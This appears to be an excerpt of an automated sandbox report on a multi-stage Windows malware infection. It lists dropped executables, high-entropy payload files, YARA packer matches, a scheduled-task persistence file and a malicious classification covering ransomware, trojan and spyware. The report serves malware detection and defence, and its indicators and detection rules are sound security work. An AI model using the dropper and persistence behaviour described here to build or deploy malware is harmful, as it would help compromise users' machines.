Source: rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/firefox/central/gro.allizom.www.
Source: rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-GB/privacy/firefox/gro.allizom.www.
Source: rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpgk
Source: rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: https://www.newtonsoft.com/json
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\0fVlNye[1].exe entropy: 7.99708308921	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe entropy: 7.99708308921	Jump to dropped file
Source: C:\Users\user\AppData\Local\kreon.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe entropy: 7.99909034711	Jump to dropped file
Source: C:\Users\user\AppData\Local\kreon.exe	File created: C:\Users\user\AppData\Local\Temp\ChromiumData.exe entropy: 7.99909034711	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Rid entropy: 7.9977091016	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Eagle entropy: 7.99799114247	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Matching entropy: 7.99710399078	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Eugene entropy: 7.99803047909	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Smithsonian entropy: 7.99798906004	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Holdem entropy: 7.99752904365	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Ai entropy: 7.99764618877	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Households entropy: 7.99708688405	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Guy entropy: 7.99699953217	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Result entropy: 7.99746905943	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Elliott entropy: 7.99808822812	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Norway entropy: 7.99778041078	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Exempt entropy: 7.99612802037	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Exhibits entropy: 7.99744911231	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Psychiatry entropy: 7.99633350563	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Through entropy: 7.99745463306	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Dealing entropy: 7.99815989653	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Carlo entropy: 7.99711927339	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Hotel entropy: 7.99835032646	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Landscape entropy: 7.99751935648	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Wendy entropy: 7.99809069172	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Expert entropy: 7.99780337689	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Turns entropy: 7.99807412881	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Blvd entropy: 7.99621538932	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Jungle entropy: 7.99756807934	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Biodiversity entropy: 7.99816036628	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Chan entropy: 7.99708921533	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Typical entropy: 7.99755405965	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Def entropy: 7.99714947873	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Ebooks entropy: 7.99790460139	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Odds entropy: 7.99741776079	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Peeing entropy: 7.99746302181	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Innocent entropy: 7.99812179691	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Sucking entropy: 7.99806777596	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Resolutions entropy: 7.99730244217	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Delaware entropy: 7.99692887592	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Tm entropy: 7.99791944878	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Actual entropy: 7.99741011645	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Drums entropy: 7.99729494549	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Lambda entropy: 7.99792392141	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Same entropy: 7.99747556	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Games entropy: 7.99745741408	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Jpg entropy: 7.99792471662	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Individuals entropy: 7.99688013161	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Nervous entropy: 7.99786086382	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Seafood entropy: 7.99764350559	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Americans entropy: 7.99760011473	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Satin entropy: 7.99764862118	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\29442\l entropy: 7.99994417377	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	File created: C:\Users\user\AppData\Local\CyberSphere Dynamics\M entropy: 7.99994417377	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Users\user\AppData\Local\Temp\Images entropy: 7.99830396967	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Users\user\AppData\Local\Temp\Reflected entropy: 7.99688107629	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Users\user\AppData\Local\Temp\Downloadcom entropy: 7.99642961619	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Users\user\AppData\Local\Temp\Enhancements entropy: 7.99803968868	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Users\user\AppData\Local\Temp\Founded entropy: 7.99806463813	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Users\user\AppData\Local\Temp\Pk entropy: 7.99689563898	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Users\user\AppData\Local\Temp\Mhz entropy: 7.99629631931	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\477151\L entropy: 7.99966472568	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: C:\Users\user\AppData\Local\Temp\ChromiumData.exe, type: DROPPED	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\ChromiumData.exe, type: DROPPED	Matched rule: Detects packed executables observed in Molerats Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe, type: DROPPED	Matched rule: Detects executables packed with Enigma Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe, type: DROPPED	Matched rule: Detects packed executables observed in Molerats Author: ditekSHen

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: .idata
Source: skotes.exe.1.dr	Static PE information: section name:
Source: rodda[1].exe.4.dr	Static PE information: section name:
Source: rodda[1].exe.4.dr	Static PE information: section name: .idata
Source: rodda[1].exe.4.dr	Static PE information: section name:
Source: rodda.exe.4.dr	Static PE information: section name:
Source: rodda.exe.4.dr	Static PE information: section name: .idata
Source: rodda.exe.4.dr	Static PE information: section name:
Source: L[1].exe.4.dr	Static PE information: section name:
Source: L[1].exe.4.dr	Static PE information: section name: .idata
Source: L[1].exe.4.dr	Static PE information: section name:
Source: L.exe.4.dr	Static PE information: section name:
Source: L.exe.4.dr	Static PE information: section name: .idata
Source: L.exe.4.dr	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 6%

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\DownReceptor
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\ComfortSick
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\IdeasApp
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\CentralAvoiding
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\JoiningMazda
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\UruguayNorthern
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\MozambiqueAppropriate
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\TeddySecretariat
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\OrganDiscretion
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\VatBukkake
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Windows\KeyboardsTwin
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Windows\AttitudeLocking
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Windows\TiredArcade
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Windows\MailtoAstronomy
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Windows\NeComfort
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Windows\FridgeProfessor
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Windows\ThomsonTool
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Windows\ComposerFederation
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	File created: C:\Windows\ClevelandBriefing

Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0BCC0	5_2_00007FF77FA0BCC0
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA078A0	5_2_00007FF77FA078A0
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0CAA0	5_2_00007FF77FA0CAA0
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0F0A0	5_2_00007FF77FA0F0A0
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0B900	5_2_00007FF77FA0B900
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA07A40	5_2_00007FF77FA07A40
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA05C40	5_2_00007FF77FA05C40
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA08E80	5_2_00007FF77FA08E80
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0B260	5_2_00007FF77FA0B260
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0BE60	5_2_00007FF77FA0BE60
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0A9B0	5_2_00007FF77FA0A9B0
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0B5A0	5_2_00007FF77FA0B5A0
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA095A0	5_2_00007FF77FA095A0
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0E400	5_2_00007FF77FA0E400
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0BFF0	5_2_00007FF77FA0BFF0
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0EFE2	5_2_00007FF77FA0EFE2
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA07740	5_2_00007FF77FA07740
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0E540	5_2_00007FF77FA0E540
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA03780	5_2_00007FF77FA03780
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0A180	5_2_00007FF77FA0A180
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0ED70	5_2_00007FF77FA0ED70
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0A172	5_2_00007FF77FA0A172
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Code function: 5_2_00007FF77FA0B760	5_2_00007FF77FA0B760
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Code function: 12_3_01AB2C1F	12_3_01AB2C1F

Source: Joe Sandbox View

Dropped File: C:\Program Files\TaskbarMonitor\Newtonsoft.Json.dll E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 468 -p 1596 -ip 1596

Source: TaskbarMonitorWindows11.exe.53.dr	Static PE information: No import functions for PE file found
Source: TaskbarMonitorInstaller[1].exe.4.dr	Static PE information: No import functions for PE file found
Source: TaskbarMonitorInstaller.exe.4.dr	Static PE information: No import functions for PE file found
Source: TaskbarMonitorInstaller.exe.53.dr	Static PE information: No import functions for PE file found
Source: TaskbarMonitor.dll.53.dr	Static PE information: No import functions for PE file found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\ChromiumData.exe, type: DROPPED	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: C:\Users\user\AppData\Local\Temp\ChromiumData.exe, type: DROPPED	Matched rule: INDICATOR_EXE_Packed_Loader author = ditekSHen, description = Detects packed executables observed in Molerats
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe, type: DROPPED	Matched rule: INDICATOR_EXE_Packed_Enigma snort2_sid = 930052-930054, author = ditekSHen, description = Detects executables packed with Enigma, snort3_sid = 930018
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe, type: DROPPED	Matched rule: INDICATOR_EXE_Packed_Loader author = ditekSHen, description = Detects packed executables observed in Molerats

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9979883344686649
Source: file.exe	Static PE information: Section: muzjjppg ZLIB complexity 0.9947742655529954
Source: skotes.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9979883344686649
Source: skotes.exe.1.dr	Static PE information: Section: muzjjppg ZLIB complexity 0.9947742655529954
Source: rodda[1].exe.4.dr	Static PE information: Section: ZLIB complexity 0.9972540222772277
Source: rodda[1].exe.4.dr	Static PE information: Section: fynokkxk ZLIB complexity 0.9946509116169305
Source: rodda.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9972540222772277
Source: rodda.exe.4.dr	Static PE information: Section: fynokkxk ZLIB complexity 0.9946509116169305
Source: L[1].exe.4.dr	Static PE information: Section: ZLIB complexity 0.9974216171617162
Source: L[1].exe.4.dr	Static PE information: Section: sxqcewcp ZLIB complexity 0.9945708649939814
Source: L.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9974216171617162
Source: L.exe.4.dr	Static PE information: Section: sxqcewcp ZLIB complexity 0.9945708649939814
Source: uxN4wDZ[1].exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.000330982592282
Source: uxN4wDZ.exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.000330982592282
Source: vg9qcBa[1].exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.000330982592282
Source: vg9qcBa.exe.4.dr	Static PE information: Section: .bss ZLIB complexity 1.000330982592282

Source: rodda[1].exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: rodda.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@130/115@0/32

Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe

File created: C:\Program Files\TaskbarMonitor

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5908:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5420:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4376:120:WilError_03
Source: C:\Users\user\AppData\Local\kreon.exe	Mutant created: \Sessions\1\BaseNamedObjects\aUkJ+dUJw
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5420:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8088:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1792:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1428:304:WilStaging_02
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4376:304:WilStaging_02
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1596
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5740:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5512:304:WilStaging_02

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

